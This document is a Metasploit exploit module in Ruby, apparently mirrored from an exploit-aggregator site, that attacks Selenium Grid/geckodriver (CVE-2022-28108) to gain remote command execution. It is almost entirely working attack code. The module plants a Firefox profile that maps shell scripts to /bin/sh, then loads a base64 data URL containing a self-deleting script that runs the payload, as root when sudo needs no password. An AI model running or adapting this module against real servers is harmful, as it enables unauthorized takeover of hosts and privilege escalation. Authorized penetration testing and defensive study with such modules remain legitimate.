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## https://sploitus.com/exploit?id=MSF:EXPLOIT-LINUX-HTTP-SELENIUM_GREED_FIREFOX_RCE_CVE_2022_28108-
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Selenium geckodriver RCE',
'Description' => %q{
Selenium Server (Grid) <= 4.27.0 (latest version at the time of this writing)
allows CSRF because it permits non-JSON content types
such as application/x-www-form-urlencoded, multipart/form-data, and text/plain.
},
'Author' => [
'Jon Stratton', # Exploit development
'Takahiro Yokoyama' # Metasploit module
],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2022-28108'],
['URL', 'https://www.gabriel.urdhr.fr/2022/02/07/selenium-standalone-server-csrf-dns-rebinding-rce/'],
['URL', 'https://github.com/JonStratton/selenium-node-takeover-kit/tree/master'],
['EDB', '49915'],
],
'Payload' => {},
'Platform' => %w[linux],
'Targets' => [
[
'Linux Command', {
'Arch' => [ ARCH_CMD ], 'Platform' => [ 'unix', 'linux' ], 'Type' => :nix_cmd,
'DefaultOptions' => {
'FETCH_COMMAND' => 'WGET'
}
}
],
],
'DefaultOptions' => {
'FETCH_DELETE' => true
},
'DefaultTarget' => 0,
'DisclosureDate' => '2022-04-18',
'Notes' => {
'Stability' => [ CRASH_SAFE, ],
'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],
'Reliability' => [ REPEATABLE_SESSION, ]
}
)
)
register_options(
[
Opt::RPORT(4444),
OptInt.new('TIMEOUT', [ true, 'Timeout for exploit (seconds)', 75 ])
]
)
end
def check
# Request for Selenium Grid version 4
v4res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'status')
})
if v4res && v4res.get_json_document && v4res.get_json_document.include?('value') &&
v4res.get_json_document['value'].include?('message')
if v4res.get_json_document['value']['message'] == 'Selenium Grid ready.'
return Exploit::CheckCode::Detected('Selenium Grid version 4.x detected and ready.')
elsif v4res.get_json_document['value']['message'].downcase.include?('selenium grid')
return Exploit::CheckCode::Unknown('Selenium Grid version 4.x detected but not ready.')
end
end
# Request for Selenium Grid version 3
v3res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path)
})
return Exploit::CheckCode::Unknown('Unexpected server reply.') unless v3res&.code == 200
js_code = v3res.get_html_document.css('script').find { |script| script.text.match(/var json = Object.freeze\('(.*?)'\);/) }
return Exploit::CheckCode::Unknown('Unable to determine the version.') unless js_code
json_str = js_code.text.match(/var json = Object.freeze\('(.*?)'\);/)[1]
begin
json_data = JSON.parse(json_str)
rescue JSON::ParserError
return Exploit::CheckCode::Unknown('Unable to determine the version.')
end
return Exploit::CheckCode::Unknown('Unable to determine the version.') unless json_data && json_data.include?('version') && json_data['version']
# Extract the version
version = Rex::Version.new(json_data['version'])
@version3 = version < Rex::Version.new('4.0.0')
CheckCode::Appears("Version #{version} detected, which is vulnerable.")
end
def exploit
# Build profile zip file.
stringio = Zip::OutputStream.write_buffer do |io|
# Create a handler for shell scripts
io.put_next_entry('handlers.json')
io.write('{"defaultHandlersVersion":{"en-US":4},"mimeTypes":{"application/sh":{"action":2,"handlers":[{"name":"sh","path":"/bin/sh"}]}}}')
end
stringio.rewind
encoded_profile = Base64.strict_encode64(stringio.sysread)
# Create session with our new profile
new_session = {
desiredCapabilities: {
browserName: 'firefox',
firefox_profile: encoded_profile
},
capabilities: {
firstMatch: [
{
browserName: 'firefox',
"moz:firefoxOptions": { profile: encoded_profile }
}
]
}
}.to_json
# Start session with encoded_profile and save session id for cleanup.
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'wd/hub/session'),
'headers' => { 'Content-Type' => 'application/json; charset=utf-8' },
'data' => new_session
}, datastore['TIMEOUT'])
fail_with(Failure::Unknown, 'Unexpected server reply.') unless res
session_id = res.get_json_document['value']['sessionId'] || res.get_json_document['sessionId']
fail_with(Failure::Unknown, 'Failed to start session.') unless session_id
print_status("Started session (#{session_id}).")
b64encoded_payload = Rex::Text.encode_base64(
"rm -rf $0\n"\
"if sudo -n true 2>/dev/null; then\n"\
" echo #{Rex::Text.encode_base64(payload.encoded)} | base64 -d | sudo su root -c /bin/bash\n"\
"else\n"\
" #{payload.encoded}\n"\
"fi\n"
)
data_url = "data:application/sh;charset=utf-16le;base64,#{b64encoded_payload}"
send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, "wd/hub/session/#{session_id}/url"),
'headers' => { 'Content-Type' => 'application/json; charset=utf-8' },
'data' => JSON.generate(url: data_url)
})
# The server does not send a response, so no check here
# This may take some time (about 5 minutes or so), so no timeout is set here.
res = send_request_cgi({
'method' => 'DELETE',
'uri' => normalize_uri(target_uri.path, @version3 ? "wd/hub/session/#{session_id}" : "session/#{session_id}"),
'headers' => { 'Content-Type' => 'application/json; charset=utf-8' }
})
if res
print_status("Deleted session (#{session_id}).")
else
print_status("Failed to delete the session (#{session_id}). "\
'You may need to wait for the session to expire (default: 5 minutes) or '\
'manually delete the session for the next exploit to succeed.')
end
end
end